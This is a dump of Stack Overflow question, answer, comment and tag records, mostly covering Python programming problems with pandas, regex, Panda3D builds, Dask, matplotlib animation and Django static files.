UDP_IP = "127.0.0.1" UDP_PORT = 8012 capture=cv2.VideoCapture(0) capture.set(cv2.CAP_PROP_FRAME_WIDTH, 320); capture.set(cv2.CAP_PROP_FRAME_HEIGHT, 240); clientsocket=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) fourcc = cv2.VideoWriter_fourcc(*'MPEG') out = cv2.VideoWriter('output.avi',fourcc, 20.0, (320,240)) while True: ret,img=capture.read() timestamp = datetime.datetime.now() ts = timestamp.strftime("%A %d %B %Y %I:%M:%S%p") cv2.putText(img, ts, (10, img.shape[0] - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.35, (0, 0, 255), 1) #Store the…
score: 0
has title: Video Streaming: Could not deserialize image after using pickle
has comment: http://stackoverflow.com/comment/84458950
has comment: http://stackoverflow.com/comment/84459997
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84460709
tagged with: pickle

http://stackoverflow.com/q/48803777
upvote count: 1
has body: doc_holder_str = '' sample_H_value = open("C:\testGupixwin\BX-N-H.HED", "r") standard_conc_value = open("C:\testGupixwin\gupixwin_H_stdConc.txt", "r") sample_H_value_str = sample_H_value.readline() while sample_H_value_str is not '' : stripper_sample_H = float(sample_H_value_str[5:].lstrip(' ')) I'm trying to write a piece of code (as shown above) which reads some values, do some calculations on it and returns the said values. I am using the LiClipse IDE, for python. I have tested my code and it works, but when I tried to run it with real data, ( for which I created a new folder to put in all the files I will be working with) I received an OS error suggesting I inserted an invalid argument. The error report says ; Traceback (most recent call last): File "C:\Python34\workspace\Gupixwin_Project.py", line 11, in &lt;module&gt; sample_H_value = open("C:\testGupixwin\BX-N-H.HED", "r") OSError: [Errno 22] Invalid argument: 'C:\testGupixwin\\BX-N-H.HED' on clicking on the C:\testGupixwin\\BX-N-H.HED it bring up a message box suggesting, and I quote, The definition was found at C:\testGupixwin\BX-N-H.HED, (which cannot be opened because it is a compiled extension) I must point out that I feel the error is that the system sees ...\\BX-N.... Instead of ..\BX-N... Which I expect. Some one suggested I do this [Open Window -> Preferences, goto PyDev -> Editor -> Code Style -> File Types, look for "Valid source files (comma-separated)" and append ", log".] I HAVE DONE THIS BUT I STILL GET THE OSERROR REPORT. Thanks for any assistance
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84610967
tagged with: python
type: AnsweredQuestion
downvote count: 0
score: 1
has title: Compiled Extension File error Report in LiClipse Python
type: Question
tagged with: liclipse
has answer: http://stackoverflow.com/a/48806254
accepted answer: http://stackoverflow.com/a/48806254
has comment: http://stackoverflow.com/comment/84614698
linked to: http://stackoverflow.com/q/24085680

http://stackoverflow.com/q/48749138
has comment: http://stackoverflow.com/comment/84833448
score: 2
type: AnsweredQuestion
has body: I am trying to compile my game on Mac. When I try to run my script to build the game using pfreeze I get this : Traceback (most recent call last): File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/runpy.py", line 72, in _run_code exec code in run_globals File "/Developer/Panda3D/direct/showutil/pfreeze.py", line 161, in &lt;module&gt; sys.exit(main()) File "/Developer/Panda3D/direct/showutil/pfreeze.py", line 148, in main freezer.done(addStartupModules = addStartupModules) File "/Developer/Panda3D/direct/showutil/FreezeTool.py", line 985, in done self.__loadModule(mdef) File "/Developer/Panda3D/direct/showutil/FreezeTool.py", line 1079, in __loadModule fp = open(pathname, 'U') IOError: [Errno 2] No such file or directory: 'example1.subfolder.start' (the folder and subfolders are just examples of my program just replace them with real folder names and files in your mind.) Why is this? The folders and files exist and I'm in the current folder (build folder) where everything is located so why is panda3d not finding the file? I also have the init files in every folder and subfolder so that's not the problem. Is there any way I can fix this? Here is my code: import argparse import os parser = argparse.ArgumentParser() parser.add_argument('--main-module', default='example1.subfolder.Start', help='The path to the instantiation module.') parser.add_argument('modules', nargs='*', default=['example1', 'example2'], help='The modules to be included in the build.') args = parser.parse_args() print 'Building the client...' os.chdir('build') cmd = ('ppython') cmd += ' -m direct.showutil.pfreeze' args.modules.extend(['direct', 'pandac']) for module in args.modules: cmd += ' -i {0}.*.*'.format(module) cmd += ' -i {0}.*'.format('encodings') cmd += ' -i {0}'.format('base64') cmd += ' -i {0}'.format('site') cmd += ' -o GameData.so' cmd += ' {0}'.format(args.main_module) os.system(cmd)
has comment: http://stackoverflow.com/comment/84561814
has comment: http://stackoverflow.com/comment/84796424
type: Question
has title: Panda3d: pfreeze error
has answer: http://stackoverflow.com/a/48899833
tagged with: python-2.7
answer count: 2
has comment: http://stackoverflow.com/comment/86533265
downvote count: 0
tagged with: macos
favorite count: 0
tagged with: panda3d
upvote count: 2
has answer: http://stackoverflow.com/a/73658017
accepted answer: http://stackoverflow.com/a/73658017
has comment: http://stackoverflow.com/comment/86580211
has comment: http://stackoverflow.com/comment/84555867
possible better answer: http://stackoverflow.com/a/48899833
tagged with: python

http://stackoverflow.com/comment/84619803
has text: @DanielRoseman I added the error to the 'value' field in the form. Question now is how do I raise the error in the template to alert the user that something is amiss.
type: AnswerComment
comment on: http://stackoverflow.com/a/48804207
score: 0
type: Comment

http://stackoverflow.com/q/48796729
answer count: 5
tagged with: datetime
tagged with: python
type: AnsweredQuestion
downvote count: 0
score: 23
has title: How to add a year to a column of dates in pandas
has answer: http://stackoverflow.com/a/48796827
type: Question
has body: I am attempting to add a year to a column of dates in a pandas dataframe, but when I use pd.to_timedelta I get additional hours &amp; minutes. I know I could take the updated time and truncate the hours, but I feel like there must be a way to add a year precisely. My attempt as follows: import pandas as pd dates = pd.DataFrame({'date':['20170101','20170102','20170103']}) dates['date'] = pd.to_datetime(dates['date'], format='%Y%m%d') dates['date2'] = dates['date'] + pd.to_timedelta(1, unit='y') dates yields: Out[1]: date date2 0 2017-01-01 2018-01-01 05:49:12 1 2017-01-02 2018-01-02 05:49:12 2 2017-01-03 2018-01-03 05:49:12 How can I add a year without adding 05:49:12 HH:mm:ss?
tagged with: pandas
has answer: http://stackoverflow.com/a/48796841
accepted answer: http://stackoverflow.com/a/48796841
upvote count: 23
has answer: http://stackoverflow.com/a/67805808
favorite count: 0
possible better answer: http://stackoverflow.com/a/48796827
has answer: http://stackoverflow.com/a/48796799
has answer: http://stackoverflow.com/a/48796856

http://stackoverflow.com/comment/84480725
score: 1
comment on: http://stackoverflow.com/q/48740554
has text: It is not _Indian_, it is _endian_ (as in the "end").
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84361136
has text: @AnatolyMakarevich If you wanted to forego it being a property, you could also use `functools.wraps`, maybe Visual Studio recognizes that. You would have to do `c.shorthand()`, though...
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48681249

http://stackoverflow.com/comment/84539835
comment on: http://stackoverflow.com/q/48769342
score: 0
type: Comment
type: QuestionComment
has text: @Ev.Kounis The question is clear enough. I don't know why you think it's ambiguous.

qemu
tag name: qemu
tags question: http://stackoverflow.com/q/48782795
type: Tag

http://stackoverflow.com/a/48666749
answers question: http://stackoverflow.com/q/48665960
type: Answer
score: 2
has body: You could use a json parser, check this code, it will print only the ou variable value: from bs4 import BeautifulSoup import json html = '&lt;div&gt;&lt;div class="rg_meta notranslate" jsname="ik8THc"&gt;{"id":"NCsi46a6Dm2_HM:","isu":"wallpapertag.com","itg":0,"ity":"jpg","oh":1800,"ou":"https://wallpapertag.com/wallpaper/full/b/8/5/84668-vertical-batman-wallpaper-hd-2880x1800-full-hd.jpg","ow":2880,"pt":"Batman wallpaper HD ·① Download free High Resolution wallpapers ...","rid":"vLHnAF3_eWR-KM","rmt":0,"rt":0,"ru":"https://wallpapertag.com/batman-wallpaper-hd","s":"2880x1800 Batman Wallpapers - HD Wallpapers Inn","st":"Wallpapertag.com","th":177,"tu":"https://encrypted-tbn0.gstatic.com/images?q\u003dtbn:ANd9GcSAIP3lqGZ0a2wkgqIecGZtCEMKAx8Qk5lp89FaV6ovmygejjf1YA","tw":284}&lt;/div&gt;&lt;/div&gt;' soup = BeautifulSoup(html, "html.parser") for child in soup.find("div").children: if child.name == 'div': data_content = json.loads(child.text) print(data_content["ou"])
downvote count: 0
upvote count: 2
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84333301
accepted answer of: http://stackoverflow.com/q/48665960

http://stackoverflow.com/comment/84364869
type: AnswerComment
has text: Exactly what I wanted!Thanks a ton!!
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48683800

http://stackoverflow.com/comment/84417629
has text: Thank you! That looks very promising. I will investigate it now.
comment on: http://stackoverflow.com/q/48709140
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84438080
has text: i tried lots of things but nothing really worked, had been strugling for half an hour.Finally found a solution ! Look:
comment on: http://stackoverflow.com/q/48719523
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48738650
tagged with: pow
tagged with: algorithm
score: 1
has answer: http://stackoverflow.com/a/48738710
type: Question
answer count: 2
upvote count: 1
tagged with: modular-arithmetic
favorite count: 0
has body: I am trying to calculate something like this: a^b mod c, where all three numbers are large. Things I've tried: Python's pow() function is taking hours and has yet to produce a result. (if someone could tell me how it's implemented that would be very helpful!) A right-to-left binary method that I implemented, with O(log e) time, would take about 30~40 hours (don't wanna wait that long). Various recursion methods are producing segmentation faults (after I changed the recursion limits) Any optimizations I could make?
possible better answer: http://stackoverflow.com/a/48738710
tagged with: python
has title: How to implement modular exponentiation?
has comment: http://stackoverflow.com/comment/84500121
tagged with: cryptanalysis
linked to: http://stackoverflow.com/q/18465326
downvote count: 0
has answer: http://stackoverflow.com/a/48738940
accepted answer: http://stackoverflow.com/a/48738940
type: AnsweredQuestion

http://stackoverflow.com/q/48728798
tagged with: time-series
has answer: http://stackoverflow.com/a/48729116
accepted answer: http://stackoverflow.com/a/48729116
has body: Here is the python code which is trying to read the CSV file from alphavantage URL and converts it to pandas data frame. Multiple issues are there with this. Before raising the issue, here is the code below. dailyurl = 'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY_ADJUSTED&amp;symbol=NSE:{}&amp;apikey=key&amp;outputsize=full&amp;datatype=csv'.format(Ticker) cols = ['timestamp', 'open', 'high', 'low', 'close','adjusted_close','volume','dividend_amount','split_coefficient'] dfdaily = pd.read_csv(dailyurl, skiprows=0, header=None,names=cols) dfmonthly = pd.read_csv(monthlyurl, skiprows=0, header=None,names=cols) dfdaily.rename(columns = {'timestamp':'date'}, inplace = True) dfdaily = dfdaily.apply(pd.to_numeric, errors='coerce').fillna(0).astype(float) dfdaily.drop(dfdaily.index[:1], inplace=True) dfdaily = dfdaily.apply(pd.to_numeric, errors='coerce').fillna(0).astype(float) dfdaily.reset_index(inplace=True, drop=False) print(dfdaily.head(6)) Issues: dfdaily = pd.read_csv(dailyurl, skiprows=0, header=None,names=cols) return values seems to not match with pandas dataframe (looks like it contains a string) hence when I use this dataframe I am getting error "high is not dobule" This URL return value contains multi-index as below 0 1 2 3 4 0 Timestamp open High Low close 1 09-02-2017 100 110 99 96 In the above first 0,1,2,3,4 column index not wanted hence added dfdaily.drop(dfdaily.index[:1], inplace=True) now ,is there a better way to get the dataframe output converting this from csv to pddataframe. As i see the read values are string i just tried making the dataframe as numeric value by using this line dfdaily = dfdaily.apply(pd.to_numeric, errors='coerce').fillna(0).astype(float) this converts the date value to 0.0 so lost the purpose the date should be retain as its.And with this many lines of code for converting pandasdata frame it takes lot of time,so really a better way of doing to get the desired output is needed. The output I am getting is : index…
has title: python converting url CSV to pandas for numerical and date value always gives wrong output
score: 0
tagged with: pandas
upvote count: 1
answer count: 1
downvote count: 1
favorite count: 0
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84457147
type: Question

http://stackoverflow.com/a/48697374
upvote count: 0
type: AcceptedAnswer
has body: I think you are very close. I have made a few small edits: import random cards = ['A ', '2 ', '3 ', '4 ', '5 ', '6 ', '7 ', '8 ', '9 ', '10 ', 'K ', 'Q ', 'J '] def poker_hand(x): hand = [] for i in range(0, 5): pick = random.choice(cards) hand.append(pick) return hand def poker_game(num_players): for i in range(2, 10): print("Player {}:".format(i), "".join(poker_hand(cards))) poker_game(cards) This results in: Player 2: 3 9 K 7 2 Player 3: 8 2 J 7 8 Player 4: 7 10 3 3 3 Player 5: 5 J J A 2 Player 6: 10 6 6 J 10 Player 7: K 8 6 Q J Player 8: 9 Q 3 4 K Player 9: 10 8 8 7 Q
type: Answer
has comment: http://stackoverflow.com/comment/84394204
has comment: http://stackoverflow.com/comment/84394024
downvote count: 1
answers question: http://stackoverflow.com/q/48697340
score: -1
has comment: http://stackoverflow.com/comment/84394049
accepted answer of: http://stackoverflow.com/q/48697340

http://stackoverflow.com/comment/84415259
type: QuestionComment
comment on: http://stackoverflow.com/q/48708219
score: 1
has text: "So at the end I just get a list of the same duplicated reference, pointing to the final version of the state" Actually, all the elements in your list __are__ the __same__ dict, period.
type: Comment

http://stackoverflow.com/a/48754158
downvote count: 0
has body: The first way is to use a "batteries included"-module like: scapy dpkt pyshark construct ...etc. Now if you want to create a custom packet, two ways to do it are either using scapy to create a new custom protocol, or you can use ctypes and struct like so: import os import struct from ctypes import * class myUDP(Structure): _fields_ = [ ("sport", c_ushort), ("dport", c_ushort), ("sum", c_ushort), ("len", c_ushort) ] def __new__(self, packet=None): return self.from_buffer_copy(packet) def __init__(self, packet=None): # unpack your data, etc... self.srcport = struct.unpack("H",self.sport) The above is a low-level, simple and as minimal as possible example-representation of the UDP header(untested): Though that can a bit difficult to be used in real-world scenarios, with complicated protocols, since it demands a lot of technical work, error handling etc... in order to be a complete packet decoder.
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/48745884
score: 1

http://stackoverflow.com/comment/84598808
comment on: http://stackoverflow.com/a/48798083
type: AnswerComment
type: Comment
score: 2
has text: There's a few of these scattered throughout the array, well mostly on the bottom line anyway.

http://stackoverflow.com/comment/111073981
type: AnswerComment
type: Comment
has text: how to open the file editor? double click the file?
comment on: http://stackoverflow.com/a/58228374
score: 3

http://stackoverflow.com/comment/84294114
type: QuestionComment
comment on: http://stackoverflow.com/q/48647403
has text: Thank you very much, Sorry about the question. I asked in a wrong way. @Prune
score: 0
type: Comment

http://stackoverflow.com/q/48739797
tagged with: static
score: 0
tagged with: linux
has answer: http://stackoverflow.com/a/48820558
has body: Ubuntu 16.04, Apache, python 3.6 with django. My view is serving up the path of a static video file to my template. It was working fine running the manage.py dev server. It was not working properly on the apache server. I reloaded apache but still get: "No video with supported format and MIME type found" message in Firefox. Apache didn't have the full path, just a relative path from my django app. So I passed the full path to the template. I get the same error, dev and apache servers. I grabbed the HTML out of the template and it works fine; the video played. www-data has rwx all the way up to the file and the directories. Not sure what is going on. Any help is appreciated.
has answer: http://stackoverflow.com/a/48742730
tagged with: python
has comment: http://stackoverflow.com/comment/84643824
type: UnansweredQuestion
tagged with: django
type: Question
has title: Linux Apache Django video static file issue
answer count: 2
tagged with: apache

http://stackoverflow.com/comment/84525710
has text: @addicted I added a `re.findall` compatible regex to the answer. The `.*?` is a lazily quantified dot, it matches in a way opposite to backtracking: it is skipped first, then the rest of the subsequent subpatterns are tried. If they fail, the `.*?` matches the first char where it was supposed to be tested, and then again all the subsequent subpatterns are tried, etc. In effect, the match is found much slower than it could be **if** the match is far to the right from the first `.*?` matching location. On the other hand, `.*` would cause backtracking issues in the opposite situation.
type: AnswerComment
comment on: http://stackoverflow.com/a/48762567
type: Comment
score: 0

http://stackoverflow.com/q/48671376
has comment: http://stackoverflow.com/comment/84340761
has body: I am very new to python, so please excuse if I ask this basic question. I created two functions: in_range() checks whether a value is within a range calculate_temp should compare a given value with a list of ranges and assign a point value as result def in_range (lowerlimit, upperlimit, value): if lowerlimit &lt;= value &lt;= upperlimit: result == True else: result = False return(result) temperature_ranges = ([1,4,11],[5,10,22],[11,20,33],[21,52,123]) def calculate_temp (temperature): for temperature_range in temperature_ranges: val = 0 if in_range(temperature_range[val][0], temperature_range[val][1], temperature) == True: points = int(temperature_range[val][2]) val +=1 return(points) However print(calculate_temp(3)) prints out the error: TypeError: 'int' object is not subscriptable. Although as far as I can see all elements are integers.
answer count: 4
has answer: http://stackoverflow.com/a/48671631
has answer: http://stackoverflow.com/a/48671804
has answer: http://stackoverflow.com/a/48671958
has comment: http://stackoverflow.com/comment/84340733
has comment: http://stackoverflow.com/comment/84340800
has answer: http://stackoverflow.com/a/48671450
has title: 'int' object is not subscriptable while comparing with a list
type: Question
has comment: http://stackoverflow.com/comment/84340763
score: 0
has comment: http://stackoverflow.com/comment/84340822
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/q/48700398
has title: how to convert a python dataframe into nested json and save it locally
favorite count: 0
tagged with: python
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
downvote count: 2
type: Question
upvote count: 0
score: -2
has body: I have a dataframe from my python code: emp_id skillset experience emp_name department 0 1120 java 7 Gary Lobortis 1 1120 python 1 Gary Lobortis 2 1120 Analytics 7 Gary Lobortis 3 1122 Oracle 3 Prescott Velit 4 1129 AWS 7 Kevin Sed 5 1122 java 3 Prescott Velit See the Image of the resulting table: I want the nested JSON output from this data frame.
has answer: http://stackoverflow.com/a/48700845
accepted answer: http://stackoverflow.com/a/48700845
has comment: http://stackoverflow.com/comment/84399436
answer count: 1

http://stackoverflow.com/comment/84503363
comment on: http://stackoverflow.com/q/48751383
type: QuestionComment
type: Comment
has text: *Aside*: `float()` is often a poor choice for tracking money. Consider keeping track of total cents and dividing by 100 or maybe using `decimal.Decimal()` instead.
score: 2

http://stackoverflow.com/comment/84381809
has text: Agreed;; thanks for the feedback!
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48675593

http://stackoverflow.com/q/48773554
tagged with: skeleton-css-boilerplate
upvote count: 7
tagged with: zurb-foundation
has body: I am confused as to how to layout controls in dash. How do I put the dropdown and the datepicker on the same row side-by-side? html.Div( [ html.Div( [ dcc.Dropdown(id='dropdown', options=[{'label': i, 'value': i} for i in all_options], multi=False, placeholder='Select Symbol...', ), dcc.DatePickerSingle( id='my-date-picker-single', min_date_allowed=today, max_date_allowed=today, initial_visible_month=today, date=today) ], className='row' ), ] ),
has title: Two Dash controls side-by-side
favorite count: 0
type: UnansweredQuestion
tagged with: python
downvote count: 0
tagged with: plotly
score: 7
has answer: http://stackoverflow.com/a/60957568
has answer: http://stackoverflow.com/a/48774686
type: Question
answer count: 2
tagged with: plotly-dash

http://stackoverflow.com/a/48725211
has body: Try this. It should give you the desired output. Just consider the content variable used within the below script to be the holder of your above pasted html elements. from bs4 import BeautifulSoup soup = BeautifulSoup(content,"lxml") items = ','.join([''.join([item.previous_sibling,item.text,item.next_sibling]) for item in soup.select(".tip.info")]) data = ' '.join(items.split()).replace(",","\n") print(data) Output: This is a first sentence. This is a second sentence. This is a third sentence.
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/48722571
accepted answer of: http://stackoverflow.com/q/48722571
upvote count: 1
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/q/48713088
favorite count: 0
tagged with: dask
answer count: 0
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84425550
score: 2
has comment: http://stackoverflow.com/comment/84426124
has comment: http://stackoverflow.com/comment/84425440
type: Question
has body: In my current flow, I am required to split up a dask.bag into two seperate DFs (because of features require shape-changing manipulation). df_X for features and df_y for target classification. I am then calling dd.map_partitions to apply a classification algorithm on all partitions in parallel but for that to work I need to merge df_X and df_y over dask, only to then split them back inside the dd.map_partitions. Here's some pseudo code: labels = mybag.pluck('label').to_dataframe() features = mybag.pluck('features').map_partitions(some_func).to_dataframe() features.merge(labels, ...).map_partitions(fit) def fit(df): labels = df['labels'] features = df['features'] I noticed dask.bag.map_partitons accepts multiple bags and lets the user apply a function over partitions from multiple bags, handing over responsibility of alignment to the user. I'm wondering if something similar is achievable and/or desired in dask.dataframe. As a side note, having a callable argument in dask.bag.to_dataframe to replace/augment dask.bag.core.to_dataframe helper function with something more proprietary will be valuable to me.
downvote count: 0
has title: Dask.dataframe.map_partitions with multiple (aligned) DDs
tagged with: python

openpyxl
tags question: http://stackoverflow.com/q/48669695
tags question: http://stackoverflow.com/q/48752276
tags question: http://stackoverflow.com/q/48695396
tags question: http://stackoverflow.com/q/48653309
type: Tag
tags question: http://stackoverflow.com/q/48772006
tags question: http://stackoverflow.com/q/48722931
tags question: http://stackoverflow.com/q/48661658
tag name: openpyxl
tags question: http://stackoverflow.com/q/48646256
tags question: http://stackoverflow.com/q/48657867
tags question: http://stackoverflow.com/q/48802963

http://stackoverflow.com/comment/84440113
type: Comment
type: QuestionComment
has text: "*please correct my code*" - not sure what you're expecting, but... you haven't shown what's actually wrong with it, the expected result, the result or error you get, etc. So this is essentially "why isn't my code working?" - which is off-topic. Please edit to be more specific. Otherwise, it's up to the community to inspect and debug your code for you.
comment on: http://stackoverflow.com/q/48720640
score: 0

http://stackoverflow.com/q/48705979
downvote count: 0
has comment: http://stackoverflow.com/comment/84411098
has comment: http://stackoverflow.com/comment/84410582
favorite count: 0
tagged with: pandas
has comment: http://stackoverflow.com/comment/84410381
tagged with: python
has comment: http://stackoverflow.com/comment/84410502
has title: Python and pandas: subtracting and formatting dataframe
upvote count: 1
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48706217
score: 1
accepted answer: http://stackoverflow.com/a/48706217
has comment: http://stackoverflow.com/comment/84410706
has comment: http://stackoverflow.com/comment/84410456
has body: I want to subtract two data frames in python 2.x and format the result to be in hh:mm:ss. My problem is that I am assuming the delta column is a string and it's a number. I need help because I am struggling to make it work. I've searched and tried some solutions found on other posts but I am unable to solve it. actual= ...select now() This is the df begin actual 0 2018-01-31 16:45:04.263 2018-01-31 16:48:06 1 2018-01-31 16:10:26.000 2018-01-31 16:50:06 Now: df['actual'] = pd.to_datetime(df['actual']) df['delta'] = df['actual'] - df['begin'] df['delta'] = df['delta'].apply(lambda x: str(x)[-8:]) The result it's this: 39:49 and 2.737000 . For the second one I want the same format as for the first. I've tried changing the function like this: df['delta'] = df['delta'].apply(lambda x: pd.Timedelta(seconds=int(x.total_seconds()))) But it returns : AttributeError: 'Timestamp' object has no attribute 'total_seconds' Any ideas would be very appreciated.
answer count: 1

http://stackoverflow.com/q/48739752
tagged with: pyspark
answer count: 2
tagged with: apache-spark
downvote count: 0
has answer: http://stackoverflow.com/a/48740115
favorite count: 0
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/48740115
tagged with: python
upvote count: 16
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/71079761
has body: To pass schema to a json file we do this: from pyspark.sql.types import (StructField, StringType, StructType, IntegerType) data_schema = [StructField('age', IntegerType(), True), StructField('name', StringType(), True)] final_struc = StructType(fields = data_schema) df =spark.read.json('people.json', schema=final_struc) The above code works as expected. However now, I have data in table which I display by: df = sqlContext.sql("SELECT * FROM people_json") But if I try to pass a new schema to it by using following command it does not work. df2 = spark.sql("SELECT * FROM people_json", schema=final_struc) It gives the following error: sql() got an unexpected keyword argument 'schema' NOTE: I am using Databrics Community Edition What am I missing? How do I pass the new schema if I have data in the table instead of some JSON file?
has answer: http://stackoverflow.com/a/71079761
score: 16
has title: How to pass schema to create a new Dataframe from existing Dataframe?
type: Question
has comment: http://stackoverflow.com/comment/84479596
has comment: http://stackoverflow.com/comment/84479645

http://stackoverflow.com/comment/84515999
score: 0
type: Comment
type: QuestionComment
has text: Can you either print what `df_catalogue` looks like, or better provide a code-snippet that generates some mock data for `df_catalogue`? An example that I can run makes things a lot easier for getting started.
comment on: http://stackoverflow.com/q/48749015

http://stackoverflow.com/a/48722013
has comment: http://stackoverflow.com/comment/84443564
score: 0
type: Answer
has body: Can you show the example for id1 and value1? I have a idea :D \w{1,}\d{1,}&lt; And getting from 1 to len(match)-1 It can not true.
answers question: http://stackoverflow.com/q/48721916

http://stackoverflow.com/q/48767977
has title: Simple linear regression using pandas dataframe
answer count: 2
upvote count: 7
linked to: http://stackoverflow.com/q/14775068
tagged with: linear-regression
has answer: http://stackoverflow.com/a/48768463
has body: I'm looking to check trends for a number of entities (SysNr) I have data spanning 3 years (2014,2015,2016) I'm looking at a large quantity of variables, but will limit this question to one ('res_f_r') My DataFrame looks something like this d = [ {'RegnskabsAar': 2014, 'SysNr': 1, 'res_f_r': 350000}, {'RegnskabsAar': 2015, 'SysNr': 1, 'res_f_r': 400000}, {'RegnskabsAar': 2016, 'SysNr': 1, 'res_f_r': 450000}, {'RegnskabsAar': 2014, 'SysNr': 2, 'res_f_r': 350000}, {'RegnskabsAar': 2015, 'SysNr': 2, 'res_f_r': 300000}, {'RegnskabsAar': 2016, 'SysNr': 2, 'res_f_r': 250000}, ] df = pd.DataFrame(d) RegnskabsAar SysNr res_f_r 0 2014 1 350000 1 2015 1 400000 2 2016 1 450000 3 2014 2 350000 4 2015 2 300000 5 2016 2 250000 My desire is to do a linear regression on each entity (SysNr) and get returned the slope and intercept My desired output for the above is SysNr intercept slope 0 1 300000 50000 1 2 400000 -50000 Any ideas?
linked to: http://stackoverflow.com/q/29550414
tagged with: numpy
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48769175
downvote count: 0
has answer: http://stackoverflow.com/a/48769175
linked to: http://stackoverflow.com/q/13643363
score: 7
favorite count: 0
accepted answer: http://stackoverflow.com/a/48768463
type: Question
tagged with: pandas
tagged with: python

http://stackoverflow.com/a/48689698
has body: These statements are out of order: db_connection.execute("commit") db_connection.execute(sql_create_table) Commit after creating your table and your table will persist.
type: Answer
score: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48689342
answers question: http://stackoverflow.com/q/48689342
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/a/48760587
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/48759970
score: 2
answers question: http://stackoverflow.com/q/48759970
has comment: http://stackoverflow.com/comment/84599810
upvote count: 2
has comment: http://stackoverflow.com/comment/84526074
has comment: http://stackoverflow.com/comment/84604888
has body: You can store all patches that you want to update in a list through which you then iterate through every iteration step. Note that the size of the Circle patches is in data units/coordinates while the scatter plot points are in points (one point = 1/72 inch), which means that the relative size between scatter points and circles depends on the figure size and axes limits and will change when you re-scale the figure. import numpy as np import matplotlib.pyplot as plt import matplotlib.animation as animation import matplotlib as mpl x_data = np.random.randint(80, size=(400, 20)) y_data = np.random.randint(80, size=(400, 20)) fig, ax = plt.subplots(figsize = (8,6)) ax.set_xlim(0,80) ax.set_ylim(0,80) scatter = ax.scatter(x_data[0], y_data[0], zorder = 5) #Scatter plot ##creating list of patches players = [] for n in range(10): ##as there are always 3 circles, append all three patches as a list at once players.append([ mpl.patches.Circle((x_data[0,n],y_data[0,n]), radius = 2, color = 'black', lw = 1, alpha = 0.8, zorder = 4), mpl.patches.Circle((x_data[0,n],y_data[0,n]), radius = 4, color = 'gray', lw = 1, alpha = 0.8, zorder = 3), mpl.patches.Circle((x_data[0,n],y_data[0,n]), radius = 6, color = 'lightgrey', lw = 1, alpha = 0.8, zorder = 2) ]) ##adding patches to axes for player in players: for circle in player: ax.add_patch(circle) def animate(i): scatter.set_offsets(np.c_[x_data[i,:], y_data[i,:]]) ##updating players: for n,player in enumerate(players): for circle in player: circle.center = (x_data[i,n],y_data[i,n]) ani = animation.FuncAnimation(fig, animate, frames=len(x_data), interval = 700, blit = False) plt.show() Old Answer (slightly different visual effect, but could be tuned to look the same): If you really just want circles around your scatter points, you can actually forget about the Circle patches and just overlay several scatter plots with different marker sizes. In the example below I only mark part of the scatter points with circles by slicing the array …

http://stackoverflow.com/comment/84566570
has text: The exact same result as your plot above when using `f = lambda X: X.T @ np.identity(2) @ X`, which is mathematically identical to your function.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48776452
type: AnswerComment

keystroke
type: Tag
tags question: http://stackoverflow.com/q/48700022
tag name: keystroke

http://stackoverflow.com/comment/84517288
score: 0
type: AnswerComment
has text: Thanks. Confusing myself thinking the start position would still read as a tuple of tuples.
comment on: http://stackoverflow.com/a/48757941
type: Comment

http://stackoverflow.com/comment/84340749
has text: Need more info on the error msg. Which line is causing it and if it is when wl.lemmeatize then print i before doing it.
score: 0
comment on: http://stackoverflow.com/q/48671265
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48690098
upvote count: 2
has comment: http://stackoverflow.com/comment/84378388
answers question: http://stackoverflow.com/q/48689931
accepted answer of: http://stackoverflow.com/q/48689931
type: AcceptedAnswer
downvote count: 0
has body: See regex in use here /\*{2}((?:(?!\*/).)*)\*/\w+\d+ Alternatively, without having to capture it (assuming PCRE). See regex in use here /\*{2}\K(?:(?!\*/).)*(?=\*/\w+\d+) This method uses a tempered greedy token to ensure it matches any character except where */ is found.
type: Answer
score: 2

http://stackoverflow.com/comment/84506469
type: QuestionComment
score: 2
has text: You should be using the `json` module to produce the JSON output. Don't try to build it by hand. Just create a Python data structure of dicts & lists that contains the data you want, and pass it to `json.dumps` or `json.dump`.
comment on: http://stackoverflow.com/q/48752574
type: Comment

http://stackoverflow.com/a/48683120
score: 16
has body: "path.to.function.function_i_want_to_mock" should be a path to where the function is used, not defined. So if function_i_want_to_mock is defined in module_A.py but imported and used in module_B.py, which you are testing, then you should use @mock.patch("path.to.module_B.function_i_want_to_mock", ...).
upvote count: 16
has comment: http://stackoverflow.com/comment/84363604
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/122645151
accepted answer of: http://stackoverflow.com/q/48682997
type: Answer
answers question: http://stackoverflow.com/q/48682997
downvote count: 0

http://stackoverflow.com/q/48753943
type: AnsweredQuestion
type: Question
